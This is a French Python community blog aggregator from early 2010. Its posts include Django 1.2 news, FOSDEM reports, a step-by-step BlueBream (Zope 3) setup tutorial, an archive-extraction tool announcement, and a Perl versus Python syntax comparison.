Radar Python francophone

[encolpe] 2010 : liens de la semaine 5 ... 08/02/2010
Python Cette semaine Logilab hébergeait un sprint sur Mercurial et une partie de l’AFPY était en déplacement au FOSDEM. La semaine prochaine devrait être riche en retours d’expériences. L’article de la semaine de l’AFPY : Python WAW 2010 : Semaine 5 PostgreSQL PostgreSQL 9.0 introduit la réplication à chaud. C’est une très bonne nouvelle pour ce concurrent d’Oracle : Hot Standby [...]
[Afpy] Python WAW 2010 : Semaine 5 Python Week After Week : les liens de la semaine de l'AFPY... 07/02/2010
Python Week After Week : les liens de la semaine de l'AFPY
[j-mad] Django 1.2 beta, the news ... 06/02/2010
Comme le petit billet qui listait les nouveautés de la version alpha de django 1.2 a eu un petit succès, j’ai décidé de récidiver et de faire la même chose pour la sortie de la version beta. Ce qui sera d’ailleurs beaucoup moins fatiguant, vu qu’il y a peu de nouveautés entre l’alpha et la [...]
[carlchenet] Fosdem2010 : Les premières conférences ... 06/02/2010
Après une arrivée tôt ce matin, nous avons rejoint les conférences du FOSDEM qui bat actuellement son plein. La première impression : beaucoup, beaucoup de monde. Des gens calés. Des célébrités du libre un peu partout. Des tonnes de passionnés. Des développeurs Debian en kilt. Les membres de l’Afpy venus en masse. C’est aussi l’occasion de [...]
[carlchenet] Pylint : le meilleur ami des Pythonistes (GLMF) ... 05/02/2010
Vous programmez en Python et voudriez ne pas avoir à lancer votre application pour détecter les fautes de syntaxe ou de frappe que vous avez pu laisser traîner. Pylint est fait pour vous. Pylint est un analyseur statique de code Python en ligne de commande, qui vous présente un rapport exhaustif de l’étude de votre code [...]
[j-mad] petit mémo python ... 04/02/2010
J’aime lire du code des autres. Enfin quand c’est du code de qualité, bien entendu. (Parce que question code bien pourri… j’ai été servi, plus qu’à mon tour, sur les différentes reprises de projets complètement à la ramasse auxquels j’ai eu la joie de participer). Pourquoi j’aime lire du code bien écrit ? Parce que tout simplement, [...]
[Afpy] Les alternatives libres aux outils propriétaires de maths ... 03/02/2010
Le projet "Plume" (http://www.projet-plume.org/) et le Groupe Calcul (http://calcul.math.cnrs.fr) organisent une journée à Paris sur "Les alternatives libres aux outils propriétaires de maths". Vous pourrez vérifier qu'il a beaucoup de Python (Sage, Numpy, Spyder...). Contrairement à ce qui est dit sur la page web, c'est ouvert à tous, moyennant une inscription (gratuite) et il sera possible de suivre les exposés en direct ou en différé (voir la page web).
[Afpy] Python WAW 2010 : Semaine 4 Python Week After Week : les liens de la semaine de l'AFPY... 01/02/2010
Python Week After Week : les liens de la semaine de l'AFPY
[encolpe] 2010 : les liens de la semaine 4 ... 31/01/2010
Cette  rubrique va sans doute devenir mensuel suite à la fusion de la partie Python avec la rubrique de l’AFPY. Au programme de cette semaine : Les grammaires en  Python, quelques liens utiles et beaucoup de lien autour des frameworks Web : Python WAW 2010 : Semaine 4 Une question qui revient souvent : mais où allons-nous [...]
[j-mad] Tagcon, où comment écrire simplement les templatetags, cong !! ... 31/01/2010
Oui, je sais, je devrais renouveler un peu mon stock de blagues. Parce que mettre des cong à la fin de tout et n’importe quoi, pour singer l’accent marseillais, ça commence à …. Je sais. (j’en profite pour vous rappeler que le 24 et 25 avril, il va y avoir la DjangoCong à Marseille, une [...]
[carlchenet] Lire vos flux RSS en mode texte avec Canto (GLMF) ... 30/01/2010
Vous n’avez jamais rêvé de lire vos flux RSS en mode texte ? Vous trouvez Liferea envahissant et les solutions comme Evolution-RSS encore peu aboutie ? Un article détaillant le fonctionnement de Canto, lecteur de flux RSS en mode texte a été publié dans GNU/Linux Magazine hors-série n°46. C’est à mon avis une très bonne alternative [...]
[Afpy] Rencontres Django à Marseille le weekend du 24/25 avril 2010 ... 29/01/2010
Événement pour échanger autour de Django et sur le web et python en général.
[Afpy] Python WAW 2010 semaine 3 ... 29/01/2010
Les liens de la semaine 3 autour e Python et son développement.
[ccomb] Zope 3 s'appelle dorénavant BlueBream ! ... 27/01/2010
BlueBream, the Zope Framework.

Un renommage qui aurait dû avoir lieu depuis très lontemps ! Pour ceux qui ont du mal à suivre (et ça se comprend), une petite explication de texte : la réécriture de Zope 2, démarrée il y a 8 ans, et qui a longtemps été appelée « Zope 3 », a consisté à créer une architecture modulaire et innovante, la « Zope Component Architecture » (ZCA), puis à découper proprement Zope et une multitude de paquets utilisant cette architecture. Cet ensemble de paquets, cohérents et compatibles entre eux a été nommé tout d'abord « KGS » (Known Good Set), puis renommé courant 2009 en « Zope Toolkit ». Le Zope Toolkit (ZTK) est l'ensemble des bibliothèques Zope, utilisées maintenant par tout l'écosystème Zope : Zope 2, Plone, Grok, etc... Plus de 900 paquets sont taggés « Zope 3 » dans PyPI !

Nous avons donc l'architecture (la ZCA) et l'ensemble des bibliothèques (le ZTK). Mais où est le serveur d'application dans tout ça ? Rappelons que l'idée originale était de réécrire Zope 2, donc il manque quelque chose. Est-ce Zope 3 ? Oui, mais Zope 3 ça ne veut plus rien dire : le concept Zope 3 a été éclaté en morceaux, et même le nom Zope 3 a fini par se noyer au milieu du reste. On avait presque oublié qu'on pouvait créer une application en pur Zope 3. Un coup de zopeproject et c'était parti !

C'était sans compter sur l'initiative de Baiju M., qui a pris le risque de renommer Zope 3 (le serveur d'application) en BlueBream, et de relancer la machine buzz et documentation ! La vidéo fait sourire, mais on ne peut rien lui reprocher, vu l'énergie qu'il déploie actuellement. Globalement son effort a été extrêmement bien accueilli et encouragé par la communauté. BlueBream, en soi, ne contient pas grand chose, c'est un simple template de projet du même genre que zopeproject, grokproject, django-admin.py startproject ou autres zf.sh create project. C'est donc une nouvelle identité, un nouveau logo et une nouvelle dynamique de contribution. Dans BlueBream, il n'y a absolument rien d'autre que les paquets du Zope Toolkit, c'est donc bien du Zope 3 pur. Il n'y a même pas de namespace bluebream et ce n'est pas à l'ordre du jour.

Voici quelques ressources utiles pour s'informer et suivre l'actualité BlueBream :

Petit tutoriel de démarrage

La documentation officielle explique ça très bien en anglais, mais je vous en fais une en français.

Création d'une application

Avant tout, assurez-vous d'avoir Python 2.5 ou 2.6 et les bons paquets de développement, sur Debian/Ubuntu ça ressemble à ça:

$ sudo aptitude install python-dev build-essential libxml2-dev libxslt1-dev

On commence par installer la dernière version de Distribute. (Le monsieur t'a dit d'installer Distribute. Si tu n'installes pas la dernière version de Distribute dans moins de 5 minutes, ton chat sera sodomisé par un gorfou)

$ wget http://python-distribute.org/distribute_setup.py
$ sudo python distribute_setup.py

Bon, le chat a évité le pire, maintenant on installe le paquet bluebream (0.1.9 à la date de cet article), qui est minuscule et n'a pour dépendances que Sphinx-PyPI-upload, PasteScript, PasteDeploy et Paste.:

$ sudo easy_install bluebream

C'est tout, maintenant on peut démarrer un nouveau projet BlueBream. Remarquez que la méthode est la même que pour un projet Pylons, BFG, Plone ou n'importe quoi pris en charge par un template Paste. Vous devez répondre au moins à la première question en donnant le nom de votre projet, ce qui aura pour effet de créer un dosser du même nom. Pour tout le reste, vous pouvez appuyer sur Entrée.

$ paster create -t bluebream

Maintenant on rentre dans le dossier, et on construit l'application grâce à Buildout (Je suppose que votre projet s'appelle monprojet)

$ cd monprojet
$ python bootstrap.py
$ ./bin/buildout

Avant de lancer buildout, un bon conseil est de configurer le dossier partagé pour les paquets Python, qui évitera de les re-télécharger dans chaque buildout ou projet : vous devriez avoir un fichier ~/.buildout/default.cfg contenant ça :

[buildout]
eggs-directory = /home/ccomb/buildout-eggs

Si tout s'est déroulé correctement, vous devriez avoir un dossier bin contenant : breampy, buildout, paster, test. (Sinon je plains votre chat. Installez la dernière version de Virtualenv, créez un environnement isolé avec virtualenv --no-site-packages --distribute monprojet, activez le avec source bin/activate et recommencez sans sudo à partir de l'installaton de bluebream.)

Vous pouvez maintenant démarrer votre application:

$ bin/paster serve deploy.ini

Puis accéder à la page par défaut sur http://127.0.0.1:8080/

Page d'accueil BlueBream

Vous pouvez aussi démarrer en utilisant debug.ini, ce qui active divers outils de debug, dont un middleware WSGI très utile, pour afficher le traceback dans le navigateur et même inspecter les variables de manière interactive.

Quelque chose de nouveau par rapport à Zope 3.4, il y a une commande shell qui permet de se retrouver dans l'environnement de l'application, et d'accéder directement à la racine de base de données pour l'inspecter (objet root). Cette commande shell est l'équivalent du debugzope ou zopectl debug des versions précédentes de Zope 2 ou Zope 3.:

$ bin/paster shell debug.ini
>>> root
<zope.site.folder.Folder object at 0x46319b0>

On voir que l'objet racine de la ZODB est maintenant pris en charge par un nouveau paquet zope.site. On a aussi accès à un objet debugger ou app (c'est le même), provenant de zope.app.debug, et permettant de simuler une requête ou d'avoir accès à l'objet DB. Par exemple si vous voulez vider l'historique de la ZODB (ce qu'on appelle faire un « pack »), il suffit de taper ça dans le shell de debug:

>>> app.db.pack()

Modifier la page d'accueil

Pour comprendre d'où vient la page d'accueil que vous voyez sur http://localhosts:8080 , il suffit de regarder dans le dossier src/monprojet/main/. Dans le fichier configure.zcml, une vue est configurée :

<browser:page
   for="zope.site.interfaces.IRootFolder"
   name="index"
   permission="zope.Public"
   class=".views.RootDefaultView"
   />

Cette déclaration signifie : « J'ai une vue disponible pour l'objet racine (celui fournissant l'interface IRootFolder). Cette vue est gérée par la classe RootDefaultView, la vue a pour nom « index », qui sera le nom visible dans l'URL, et cette vue est publique (permission zope.Public). »

La vue est une simple classe Python visible dans le fichier views.py, et on peut voir que la vue renvoie elle-même la page HTML, sans même utiliser de langage de templating :

class RootDefaultView(BrowserView):

    def __call__(self):
        return """\
<html><head><title>Welcome to BlueBream!</title></head><body>
<h1>Welcome to BlueBream!</h1>
<ul>
(...)

Dans cette page d'accueil, on peut déjà s'authentifier en cliquant sur login, avec le mot de passe admin/admin. On peut ensuite cliquer sur Add a sample application pour ajouter une Sample Application. Cette SampleApplication n'est rien d'autre qu'un conteneur qui sera ajouté à la racine de la ZODB. Elle est définie dans le fichier app.py:

class SampleApplication(BTreeContainer):

  implements(ISampleApplication)
  name = u""
  description = u""

Tout ceci fait penser un peu à l'interface d'accueil de Grok qui permet d'« ajouter une application ». Ça ne sert pas à grand chose, à part montrer un exemple simple de formulaire, et d'ajout de contenu hiérarchique dans la ZODB. Si vous créez votre propre application, vous pouvez supprimer ces classes d'exemples, redéfinir la vue pour l'objet racine, de préférence en utilisant le templating par défaut de Zope : le ZPT.

Pour remplacer cette page d'accueil, commencez par supprimer la méthode __call__ de la vue RootDefaultView, car cette méthode surcharge celle de la classe parente (BrowserView). De cette façon on bénéficie à nouveau de la méthode de publication par défaut de BrowserView, qui peut faire appel à un template configuré en ZCML.

Dans view.py :

class RootDefaultView(BrowserView):
    pass

Et dans configure.zcml :

<browser:page
   for="zope.site.interfaces.IRootFolder"
   name="index"
   permission="zope.Public"
   class=".views.RootDefaultView"
   template="accueil.pt"
   />

Ensuite évidemment il faut créer le template pour l'accueil (fichier accueil.pt) :

<html><body>

<h1>Accueil</h1>

<p>Bonjour, la classe de l'objet racine (le contexte de cette vue) est :
  <span tal:content="python: context.__class__.__name__" style="color: blue">
  nom de la classe
  </span>
</p>

<p>
  Le user-agent de mon navigateur est :<br/>
  <span tal:content="python: request['HTTP_USER_AGENT']" style="color: blue">
  contenu de la requête
  </span>
</p>

</body></html>
Accueil modifié

La vue étant un double adaptateur sur le contexte (qui dans ce cas est l'objet racine) et sur la requête. Ces deux objet sont donc disponibles dans la vue en Python via self.context et self.request. Ces deux objet sont même transmis par défaut au template via les variables context et request. De cette façon, on peut accéder à l'objet racine et connaître le nom de sa classe (voir la capture d'écran), et à l'objet requête ce qui permet de récupérer entre autres le User-Agent, ou d'autres informations liées à la requête, comme l'utilisateur authentifié.

C'est tout pour aujourd'hui.

[encolpe] Installer et tester Django en 10 minutes sur une Ubuntu 9.10 ... 27/01/2010
J’ai trouvé une petite application web qui m’intéresse pour le site de l’AFPY : un éditeur de restructured text écrit pour Django. N’ayant jamais utilisé Django j’ai essayé de trouver une documentation pour installer et tester tout ça avec Ubuntu. Une recherche sur le moteur de recherche Exalead m’a permis de trouver la page de [...]
[encolpe] 2010 : liens de la semaine 3 ... 25/01/2010
Cette rubrique hebdomadaire va bientôt changer. Pour éviter les doublons elle va être fusionné avec celle de Youenn Boussard sur le site de l’AFPY. Elle continuera sur le signe de l’ouverture avec des sujets moins centré sur Python ou avec des ressources plus techniques que celles de l’AFPY. Heuristique Les cartes heuristiques ou mindmapping sont au centre [...]
[Afpy] Rencontre autour de Python à Lyon ... 22/01/2010
[No] En préparation ... 21/01/2010

Ça se bouscule pas mal depuis peu, alors, on résume, parce qu'il va falloir s'organiser un peu :

  • Les premières Rencontres Django francophones viennent d'être annoncées par David et auront donc lieu les 24-25 avril à Marseille. Dans ma TODO, on ajoute : transport (SNCF, c'est minimum 7h20 de train - Avion, c'est Ryanair avec des dates moyennement intéressantes - voiture c'est hypra-galère à l'aller encore pire au retour) et logement (les organisateurs y travaillent).
  • Le prochain OggCamp, l'événement open-source qui succède au Lugradio Live aura lieu à Liverpool... le week-end d'après (2-3 mai). Impossible que je le manque celui-ci non plus. Donc, dans la TODO : transport (une des propositions d'Air France table sur un voyage de plus de 24h - Y'a bien EasyJet, mais c'est moyen - Y'a pas Ryanair, ils desservent Biarritz/Liverpool que l'été) et logement (les organisateurs y travaillent aussi).
  • Les prochaines RMLL... J'hésite... En même temps, c'est à Bordeaux, donc pas loin. Faudra voir en fonction des intervenants / ceux qui y seront que je connais, etc.

À savoir que pour mon plus grand bonheur, pour les Rencontres et pour OggCamp, on a réussi à me convaincre de préparer une intervention. Donc, dans la TODO : talk for OggCamp et conférence Django.

À part ça, je dois encore écrire et publier le troisième et dernier épisode de "Maux de passe" pour Polar-Geek. Je sais pas quand j'aurai le temps.

Qui a dit que les chômeurs étaient inactifs ?

[fantomas] Le temps des releases : easy_extract ... 19/01/2010

Imaginons que j'ai sur un serveur de donnée une grosse quantité d'archives sous différents formats, tel que RAR, ZIP, XTM...

Si je souhaite extraire toutes ces archives, je devrais aller trouver chaque archives dans son répertoire, taper la bonne commande pour pouvoir les extraire, les réparer au besoin et ainsi de suite... Plutôt fastidieux non ? :(

Sur ce constat m'est venu l'idée de easy_extract, un script écrit en Python qui va analyser récursivement les répertoires à la recherche d'archives ou de collections d'archives pour les extraire et les réparer automatiquement si elles sont corrompues.

Pour cela, il suffit de lancer le script de la manière suivante par exemple :

$> easy_extract -r mes_archives/

Pratique et le gain de temps est évident, car une fois le script lancé, vous n'avez plus à vérifier que l'extraction s'est bien déroulée pour ensuite passer à la suivante, donc a scotcher devant votre terminal. Victoire une tâche fastidieuse de plus automatisée. :D

Pour l'installation, il est nécessaire d'installer les paquets suivant avant :

  • par2
  • unrar-free
  • 7zip-full

Ensuite l'installation du script se fait grâce à easy_install :

$> easy_install easy_extract

Bien sûr le code est open-source, donc si vous voulez contribuer, forker ou juste critiquer, le code se trouve à l'adresse suivante : http://github.com/Fantomas42/easy-extract

Bonne décompression et bon leech.

[Afpy] Revue de presse python semaine 2 Dolmen, multiprocessing, Plone4... 18/01/2010
Dolmen, multiprocessing, Plone4
[Afpy] Revue de presse python semaine 1 2010 sera t'elle pythonique ?, Zodb or not zodb, BlueBream, Python + Cython : plus rapide que le c ?... 14/01/2010
2010 sera t'elle pythonique ?, Zodb or not zodb, BlueBream, Python + Cython : plus rapide que le c ?
[encolpe] 2010 : liens de la semaine 1 ... 10/01/2010
Cette semaine a été très productive du côté des blogueurs et en particuliers chez les développement autour du core Python. Python Pour ceux qui ne connaissent cette boîte de Pandore qu’est le GIL (Global Interpretor Lock) en Python voici un très bon article qui mesure son effet dans le traitement des entrées/sorties avec des systèmes multi-processeurs ou [...]
[No] Polar Geek, version moderne ... 09/01/2010

Le tout nouveau tout frais "Polar Geek" est en ligne depuis ce soir. J'ai eu la chance de le développer from scratch, en utilisant Django, en à peu près 6 heures de labeur, étalées sur une journée (2 heures le matin, 4 le soir).

J'y intègrerai progressivement des liens vers les textes qui me parviendront, soit par email, soit via le compte @polardeuxzero (cf. la page "à propos").

Comble du bonheur geek, on y trouvera un flux RSS.

Au pire, si tu veux contribuer mais que tu n'as pas de blog ou d'espace d'expression électronique, tu peux également m'adresser le texte par e-mail et je tâcherai de lui trouver une place dans mon maaaaaagnifique gestionnaire de contenu révolutionnaire (cough).

d'ailleurs, à propos de magnificence, si un designer passe par ici et a envie de bénévoler au secours de mes maigres talents graphiques, qu'il n'hésite pas à se faire connaître. mais je serai pas vexé si tu veux pas bosser gratuit.

Et allez ! contribuez ! contribuez ! contribuez !

[j-mad] Où les middleware envahissent la django-application du mois ... 09/01/2010
Je sais, je suis impardonnable, je n’ai pas fait de billet sur la django-application de décembre. Vous pourriez même rajouter que je le suis encore plus parce que décembre c’est le mois des vacances de Noël et que qui dit vacances dit temps pour écrire un billet. Oui, mais non. Parce que faut pas croire, ça [...]
[j-mad] Les nouveautés de django 1.2 alpha ... 09/01/2010
Avant de commencer à te faire perdre ton temps, je tiens à te prévenir cher lecteur. Si tu as lu la release note de django 1.2 alpha 1, tu n’apprendras rien de plus en lisant ce petit billet. Pourquoi alors l’écrire ? Au cas où tu n’aurais pas encore lu la release note et que lire du [...]
[Afpy] Présentation de Vitefait au CETRIL ... 08/01/2010
Vitefait sera présenté au CETRIL le 21 janvier 2009
[carlchenet] Bonne année ! ... 04/01/2010
C’est le moment traditionnel d’annoncer ses bonnes résolutions pour l’année à venir. Pour ne pas déroger à la tradition, voici ce à quoi je vais essayer de me tenir : Continuer à développer mes activités dans Debian. Je gère 11 paquets à ce jour, majoritairement des petits projets prometteurs écrits en Python et souhaite intégrer encore [...]
[carlchenet] Bélier dans GNU/Linux magazine France ... 03/01/2010
Bonjour à tous, Un article détaillant le fonctionnement de Bélier, l’outil d’automatisation de connexions SSH complexes, est paru dans le numéro 123 (janvier 2010) de GNU/Linux Magazine France (GLMF pour les initiés).  Un bon moyen de découvrir les possibilités offertes par ce programme autrement que par la documentation officielle. À bientôt [...]
[encolpe] Week 53 web logs ... 02/01/2010
Python Tarek Ziadé a écrit le plus utile des tutoriels : How to version your Python projects. Il décrit en quelques pages les bonnes pratiques pratiquées dans la communauté pour géré la numéroration des distributions et comment mettre en place rapidement  le versionnage depuis un environnement de développement mercurial. Ce dernier point jette un pavé de [...]
[encolpe] Tester les développements XML en Python ... 31/12/2009
Présentation du problème Ces derniers temps je travail beaucoup sur la génération de fichiers XML à partir de données éparses suivants des contraintes externes qui sont impossibles à vérifier manuellement. Pour ce travail je ne peux m’accrocher qu’au schema XML que nous a transmis le fournisseur du service avec une documentation lacunaire. Chaque fichier généré fait [...]
[Afpy] Revue de presse python semaine 51 Django, matplotlib, Rpython, extensions C... 23/12/2009
Django, matplotlib, Rpython, extensions C
[Afpy] Au revoir Dr Jnut ... 22/12/2009
[j-mad] Django : Dict’s Rivers, toi aussi devient fan. ... 20/12/2009
C’est benoitc qui en me parlant des dicts fournis par Django m’a fait découvrir les quelques classes bien utiles définis dans datastructures.py du module utils de django. Ce sont donc, comme le titre de ce petit billet (plus mémo que billet) l’explicite bien des dicts. 1- Le MergeDict On le construit en lui donnant plusieurs dict. Il en [...]
[nsteinmetz] Perl vs Shell vs Python ... 16/12/2009

Ayant suivi il y a 2 semaines une formation Perl de 3 jours vu qu'il s'agit d'un standard de fait chez JCDecaux pour tout ce qui touche au scripting, mon petit ressenti sur le sujet.

Tout d'abord, il faut dire que j'allais à cette formation avec un a priori plutôt négatif sur Perl de part ce que j'avais pu en entendre ici ou là. Il faut dire que j'ai plutôt été agréablement surpris par certains cotés.

Match perl vs bash :

  • Perl peut être vue comme une bonne alternative / un bon complément à des scripts bash. Plutôt que de vous casser la tête à apprendre à utiliser grep/sed/awk, vous pouvez faire la même chose mais uniquement en perl. Parce que bon, franchement awk, c'est peut être super puissant mais je trouve ça inabordable et loin d'être évident.
  • Je compte ainsi revoir certains scripts bash qui ne me satisfont pas pour voir si Perl ne me permettrait pas d'atteindre l'objectif souhaité.

Match perl vs python : avantage Python

  • Pour le coup, le langage avec des des $, %, et même @ devant les types de données, des accolades pour les débuts/fin de bloc qu'on ne sait jamais à quel niveau positionner pour rester lisible de bout en bout et des ; en fin de ligne, j'ai du mal. Surtout maintenant que je me suis habitué à la syntaxe python que je trouve infiniment plus lisible et moins source d'erreur.
  • Dans la même veine, les syntaxes sont pas des plus évidentes : ainsi dire que $tab est un scalaire, @tab un tableau, %tab un tableau associatif et que si on met un "antislash" devant on parle alors d'une référence vers le scalaire/tableau/tableau associatif, ça aide pas l'écriture d'un script

Par ex en perl :

if ( $toto == 2)
{
    print "Toto vaut : $toto\n";
}

et en python :

if toto == 2:
    print "Toto vaut %s" % toto
  • Perl fonctionne de façon beaucoup trop implicite/facultative contrairement à python. Python impose un certain nombre de conventions et c'est bien. Le "There is more than one way to do it" de Perl peut être séduisant mais aussi contre productif, surtout en entreprise.

Exemple pour parcourir un tableau en perl :

#! /usr/bin/perl -w
 
# Tableau simple
@tab = ("fraise", "abricot", "goyave", "pamplemousse");
foreach (@tab)
{
    print "Valeur : $_ \n";
}
 
# Tableau associatif
%hash = ("France" => "Paris", "Allemagne" => "Berlin", "Angleterre" => "Londres");
foreach (keys %hash)
{
    print "Pays : $_ , Capitale: $hash{$_}\n";
}

Le $_ est appelé scalaire par défaut. Il est conseillé de vivement l'utilisé plutôt que d'initialiser une variable. De prime abord, ça surprend. Il existe aussi un @_ dans les fonctions et qui correspond à un tableau d'arguments passés à la fonction.

Dans ce cas les parenthèses sont implicites. On peut bien sur écrire :

foreach(keys(%hash))

alors qu'en python :

tab = ["fraise", "abricot", "goyave", "pamplemousse"]
for fruit in tab:
    print "Valeur : %s" % fruit
 
hash = {'France' : 'Paris', 'Allemagne': 'Berlin',  'Angleterre' : 'Londres'};
for key, value in hash.items():
    print "Clé : %s Valeur %s" % (key, value)

Dans les deux cas, nous aurons :

Valeur : fraise
Valeur : abricot
Valeur : goyave
Valeur : pamplemousse
Pays : France , Capitale: Paris
Pays : Angleterre , Capitale: Londres
Pays : Allemagne , Capitale: Berlin

Si on rajoutait un tri en perl, en implicite cela peut aller jusqu'à :

foreach (sort keys %tab)
{
}

Difficile de s'y retrouver à mon humble avis.

  • Perl n'a pas de "prompt" intégré : Franchement pouvoir taper "python" dans un shell et ensuite codé en direct son script et le retoucher, que de temps gagné. Il y a certes perl -pe "commandes perl" mais c'est bien en deçà de ce que peut offrir python.
  • Mettre /usr/bin/perl -w en début de script permet de lever les warnings et corriger les éventuels bugs
  • Python propose le module "re" pour les expressions régulières. Pas besoin donc de se mettre spécifiquement à Perl s'il y a des besoins de RegExp ;-)
  • J'ai l'impression que la doc python est de meilleure qualité même si apparemment Perl rattrape petit à petit son chemin...
  • Globalement, Python et Perl doivent permettre de faire les mêmes choses, donc je vais considérer le périmètre des langages comme ex-aequo.
  • Même si cela m'a troublé de prime abord avec les listes en python, les listes en perl sont sympathiques :
@tab = ("un", "deux", "trois");
($t1, $t2, $t3) = @tab;
 print "t1 vaut $t1\n";
 print "t2 vaut $t2\n";
 print "t3 vaut $t3\n";

Contrairement à ce que l'on pourrait croire de prime abord, cela n'est pas un tableau mais juste un "panier" de variables. On peut donc utiliser $t1 & co.

  • La notation objet est plus claire en Python. Je n'adhère toujours pas au $titi->dosomething(); (comme en PHP en fait)
  • La prise en main de python est beaucoup plus immédiate (aux listes / tuples (grosso modo des listes non modifiables) / dictionnaires (tableaux associatifs) prêt ;-) )
    • D'ailleurs, les listes en python correspondent aux tableaux en perl et les dictionnaires python au hash (tableau associatif) perl.
    • Sauf erreur, il n'y a pas d'équivalent des tuples en perl
    • Les listes en perl n'ont donc rien à avoir avec les listes en python (cela m'a pas mal dérangé durant la formation)

Ce qui fait qu'au final, je rejoins tout à fait David sur "Pourquoi Python & Django". A titre personnel, mon langage de prédilection va donc rester python et je vais voir dans quelle mesure je peux encourager python au boulot. J'y ai déjà glissé une appli Django après tout ;-)

Perl a malgré tout été une bonne surprise, je m'attendais à pire. Il convient par contre dans un contexte d'entreprise je pense de rendre le code le plus verbeux possible pour facilité sa reprise et sa maintenance.

[Afpy] Revue de presse python semaine 50 pywebsocket, collective.beaker, Traduction de la zca, Nouvelle release de pyquery, Nouvelle release de djangoc... 16/12/2009
pywebsocket, collective.beaker, Traduction de la zca, Nouvelle release de pyquery, Nouvelle release de djangocms
[Afpy] Revue de presse python semaine 49 Gmail , Python2.7, PySpread... 16/12/2009
Gmail , Python2.7, PySpread
[Afpy] Revue de presse python semaine 48 Plone, minitage, Python3, GAE... 16/12/2009
Plone, minitage, Python3, GAE
[Afpy] Revue de presse python semaine 47 GAE, Pypy, json, pickle... 16/12/2009
GAE, Pypy, json, pickle
[tshirtman] Nouvelle migration ... 12/12/2009

Pour un bon moment celle ci j’espère.

Après l’achat (sur un coup de tête) de tshirtman.fr, je me suis dit que j’allais faire blog.tshirtman.fr et sérieusement ce coup ci… on (mon chef au boulot, plus connus sous le pseudo ccomb) m’avait conseillé zine qui à l’avantage d’être en python et de bonne facture, j’ai un peu galéré avant de trouver la bonne méthode d’installation (un buildout sur pypi bien sur >_<) mais en tout cas c’est propre et sympa…

Comme j’utilise apache pour les virtualhost, zine tourne en user normal via paster, sur un port quelconque, et apache lui renvoit les requetes via mod_proxy, c’est simple et efficace.

Je viens de finir d’importer les billets du pybloxom, j’aurais bien aimé retrouver les billets de mon vieux vieux blog, mais il semble que google n’ai pas daigné en garder du cache, que archive.org n’ai pas en la présence d’esprit de remarquer la contribution importante qu’ils représentaient… que je n’ai pas d’accès immédiat à mon serveur de l’époque (présentément eteinds), et que donc, je soit incapable, et sans doute pour un certain moment, de les récupérer.

Life’s life ^^.

sinon en ce moment je lis “the pragmatic programmer” qui contient une foule nombreuse de sages conseils sur le développement, reste à avoir l’intélligence de les mettre en application…

[Biologeek] ★ Pourquoi Python et Django ... 10/12/2009

Retour sur l'événement Scrumpy auquel j'ai participé le mois dernier. J'ai déjà eu l'occasion de m'exprimer ici sur Pourquoi Python et Pourquoi Django mais le contexte était assez différent sur cet intervention car je devais commencer à convaincre des bienfaits de Python. Or convaincre sur un langage ou un framework est relativement stupide.

On utilise un outil pour son usage, on peut faire des trucs super chiants aussi avec Python ou Django. Partant de là, comment parler des usages possibles, facilités par ces outils ? Ou reformulé un peu différemment, qu'est-ce qui me motive pour utiliser ces outils dans mon quotidien ?

Une lecture dont vous êtes le héros : soit vous voulez visionner l'intervention dans son intégralité (25 minutes) et je vous conseille de ne pas lire la suite avant (mais de sauter à la fin), soit vous continuez la lecture et vous pourrez vous rattrapper plus tard.

J'ai choisi d'explorer 2 axes un peu inhabituels : les vacances et le fun !

Vacances et productivité

Vacances et productivité

Si on veut pouvoir partir en vacances confortablement, il va en fait falloir être plus productif, et ça la productivité ça parle à tout le monde et ça fait pro :-).

Apprentissage

Apprentissage

L'apprentissage de Python est l'un des plus rapides qui soit, on peut l'enseigner aux enfants, aux élèves, aux développeurs, il suffit de quelques heures pour en maîtriser les bases. Avec quelques bases, on peut hacker son premier programme en quelques minutes. Vraiment.

Rapidité d'apprentissage signifie aussi facilité à intégrer de nouvelles personnes dans une équipe ou à transférer des compétences sur un projet (ce qui est plutôt utile pour partir en vacances tranquille).

Agilité

Agilité

Agilité : vaste programme car on en arrive à mettre tout et n'importe quoi derrière ce terme. En quoi Python vous fait gagner en agilité ? Il y a bien sûr l'usage des tests dont je parle ensuite qui rendent les refactorisations moins douloureuses, évitant les régressions inévitables autrement. Mais c'est surtout à l'usage que l'on se rend compte à quel point le langage est flexible et puissant.

Réutilisation

Réutilisation

La philosophie de Python et d'être batteries included, c'est à dire de proposer une bibliothèque standard complète permettant d'effectuer les tâches courantes avec le langage de base sans avoir à installer des bibliothèques tierces. Ceci favorise le code portable et réutilisable entre plusieurs projets.

Fun et qualité

Fun et qualité

La relation entre le fun et la qualité ? Une équipe qui prend du plaisir à développer va introduire de la qualité dans son produit.

Conventions

Conventions

Python repose sur des conventions de codage fortes qui favorisent la compréhension du code par un autre développeur. Ça paraît anodin énnoncé ainsi mais c'est pourtant capital pour la réutilisation et la maintenabilité du code. Lorsque vous prennez un code en main, bibliothèque externe ou code de votre collègue, vous n'allez pas être perdu grâce à une normalisation familière. C'est un gain de temps considérable à l'usage.

Tests

Tests

Python encourage l'usage des tests qui sont indispensables à la pérennité d'un code. Je ne vais pas me répéter sur ce point, c'est juste la représentation du capital de votre application, ce qui fait finalement sa valeur à long terme.

Élégance

Élégance

Ici aussi, je vous renvoie sur le billet l'Artiste qui sommeille en chaque geek, la part d'élégance que vous pouvez trouver dans votre code dépend de vous, de votre sensibilité et de la vision que vous avez de vos créations.

En conclusion, grâce à une productivité accrue et à la qualité de son code, on gagne en séreinité et en confiance.

Django

Je ne vais pas réexpliquer la boîte à outils qu'est un framework web, vous pouvez aussi consulter une ancienne présentation sur Django si vous souhaitez aller plus loin.

Applications réutilisables

Réutilisation

C'est aujourd'hui LE point fort de Django : un écosystème d'applications développées par la communauté de très bonne facture. Vous cherchez une application pour faire de l'OpenID, gérer des droits finement, pousser vos média sur S3, etc etc c'est possible et facilement intégrable à votre projet.

Cohérence

Cohérence

Le framework ayant été pensé dans sa globalité, on retrouve une cohérence et une qualité constante sur les différents points du framework. Et l'une des grandes forces de Django c'est la cohérence de sa documentation et son excellente qualité. Allez faire un tour dessus, ce n'est pas une légende :-).

Rapidité

Rapidité

Enfin un dernier argument en faveur de Django, c'est la rapidité de développement rendue possible grâce aux nombreux outils mis à disposition par le framework permettant d'éviter les tâches fastidieuses et répétitives. Vu la vitesse à laquelle les sites évoluent, c'est un point essentiel à prendre en compte au lancement d'un projet.

Démonstration et code

